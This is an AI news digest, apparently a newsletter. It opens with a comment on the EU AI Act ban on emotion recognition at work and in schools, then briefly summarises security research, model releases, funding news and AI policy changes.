On February 2, 2025, the AI Act’s provisions regarding prohibited AI practices took effect. As my colleague Dereck Banks notes, one particularly interesting aspect is the ban on emotion recognition in workplaces and educational institutions. Many companies have already implemented such systems to monitor employees’ emotions, particularly in customer service. The rule aims to prevent employers and schools from using AI to detect emotions and then use those findings against employees or students. Emotion analysis outside of workplaces and schools, such as analyzing customer sentiment, is permitted. Overall, I think this is a good rule. Without it, I would feel like a slave in the workplace, being monitored constantly.
More. Read on.
Risks & Security
Malicious Models Exploit Pickle Vulnerability on Hugging Face
Cybersecurity experts have found two malicious ML models on Hugging Face using “broken” pickle files, dubbed nullifAI, to evade detection. These models, more proof-of-concept than active threats, highlight risks in the pickle serialization format, known for executing arbitrary code upon loading. Stored in PyTorch format, these models break serialization post-payload execution. The open-source utility has been updated to address this vulnerability.
Enhancing Data Privacy and Verifiability with Emerging Technologies
As AI and blockchain advance, technologies like ZKP, zkTLS, TEE, and FHE are essential for safeguarding data privacy and ensuring data verifiability. These tools tackle challenges like unauthorized data access and deepfake creation, which complicate data integrity. By using privacy-preserving ML, anonymization, and secure data handling, companies comply with regulations like GDPR and CCPA. The ongoing development in AI and blockchain seeks to balance privacy and verifiability. Stay tuned for Part 3!
Breaking Barriers: Malicious ML Models Evade Detection with ‘Broken’ Pickle Files
Cybersecurity experts have detected two malicious ML models on Hugging Face using ‘broken’ pickle files to bypass security measures. Dubbed nullifAI, this tactic involves platform-aware reverse shells in PyTorch models, evading detection by Picklescan due to using the 7z compression format. These models appear to be proof-of-concept exploits, highlighting vulnerabilities in the pickle serialization format, prompting updates to the open-source tool.
Technology & Tools
Efficient LLMs on Edge Devices with Low-Bit Quantization
Recent advances in low-bit quantization have made mixed-precision matrix multiplication (mpGEMM) feasible for large language models (LLMs) on edge devices. Innovations like the Ladder data type compiler, T-MAC mpGEMM library, and LUT Tensor Core hardware architecture are boosting the performance and efficiency of LLMs in resource-constrained settings. This progress could usher in a new era of AI model inference, paving the way for novel applications in embodied AI systems.
Introducing SYNTHETIC-1: A New Era in Open-Source Reasoning
SYNTHETIC-1 launches with a massive 1.4M-task dataset for advancing math, coding, and science reasoning models using DeepSeek-R1. This initiative encourages global compute contributions to enhance distributed reinforcement learning. The dataset aims to generate cold-start synthetic data, crucial for training cutting-edge reasoning models. With tools like GENESYS, an open-source library for data generation, the project invites collaboration to build robust, open-source reasoning models. Join the effort to scale AI frontiers.
Anthropic’s Revolutionary Approach to AI Security
Anthropic’s research introduces Constitutional Classifiers, a groundbreaking system that employs AI to guard itself against jailbreaks. By establishing a natural language constitution, these classifiers act as intelligent filters, scrutinizing inputs and outputs to ensure security without excessive restriction. Tested with extensive human and automated adversarial attacks, the system demonstrated impressive resilience. This adaptive framework marks a significant advance in AI safety, promising scalable and effective protection.
SAFECLIP: Safeguarding CLIP from Data Poisoning and Backdoor Threats
The CLIP model, while excelling in zero-shot classification, is notably vulnerable to data poisoning and backdoor attacks. A mere 0.0001% of poisoned pre-training data can compromise it. SAFECLIP emerges as a robust defense, leveraging unimodal contrastive learning and data segregation into safe and risky sets, reducing attack success rates to 0% without affecting performance, as shown on CC3M, Visual Genome, and MSCOCO datasets.
Link to the source
Business & Products
Safe Superintelligence Eyes $40 Billion Valuation
Safe Superintelligence, co-founded by OpenAI’s Ilya Sutskever, is in talks for a $40 billion valuation, marking a fourfold increase from its previous $10 billion. Despite not yet generating revenue, the startup’s focus on “safe superintelligence” aligned with human interests is attracting investor attention. The fundraising underscores the continued interest in AI innovation amidst market challenges from competitors like China’s DeepSeek.
Hugging Face and Physical Intelligence Unveil Pi0: A Game-Changer for Robotics
Hugging Face and Physical Intelligence have launched Pi0, a pioneering model that translates natural language into robotic actions, marking a significant leap in robotics. Available on Hugging Face’s platform, Pi0 can autonomously execute complex tasks, making programming as simple as speaking commands. With potential applications across industries, this open-source innovation could revolutionize automation by making robotics more adaptable and accessible, despite some challenges in handling complex tasks.
OpenAI’s GPT-5: A Unifying Leap Forward
OpenAI CEO Sam Altman unveiled the roadmap for GPT-5, targeting a 2025 release. Preceding it, GPT-4.5 will debut within weeks as the last non-simulated reasoning model. GPT-5 will integrate features from OpenAI’s AI lineup, offering unified access for ChatGPT users. This move aims to simplify product offerings and consolidate features, as Altman seeks to streamline OpenAI’s model complexity amidst competitive advancements from industry rivals.
Regulation & Policy
New Guidelines Clarify Prohibited AI Practices in the EU
The European Commission has issued draft guidelines clarifying prohibited AI practices under the EU’s AI Act, effective February 2, 2025. These non-binding guidelines provide practical examples to help businesses comply. Key prohibitions include social scoring, manipulation, unauthorized facial recognition, emotion recognition in work/education, and biometric categorization. Companies must ensure compliance, anticipating misuse, and face potential fines up to EUR 35 million or 7% of global turnover for non-compliance.
Opinions & Analysis
US Shifts AI Focus from Safety to Dominance
The Trump administration has shifted the US’s AI policy from regulation to dominance, reversing Biden’s executive order on AI safety. Key regulatory bodies like the US AI Safety Institute and the Consumer Financial Protection Bureau face disruption, leaving AI oversight in limbo. Trump’s single-line directive emphasizes global AI dominance, sidelining safety and consumer protection concerns. This change raises questions about the future of AI regulation and its potential risks.
2025 Cybersecurity Landscape: A Year of Complex Challenges
As 2025 begins, the cybersecurity landscape faces unprecedented threats with the rise of AI-driven attacks, systemic ransomware, and supply chain breaches. Experts predict a challenging year as adversaries leverage sophisticated tactics, including AI-powered social engineering and critical infrastructure disruptions. With a growing talent shortage, organizations must adopt multilayered defenses, combining technology and human expertise, to navigate these evolving threats and protect against potential disruptions.
Leave a comment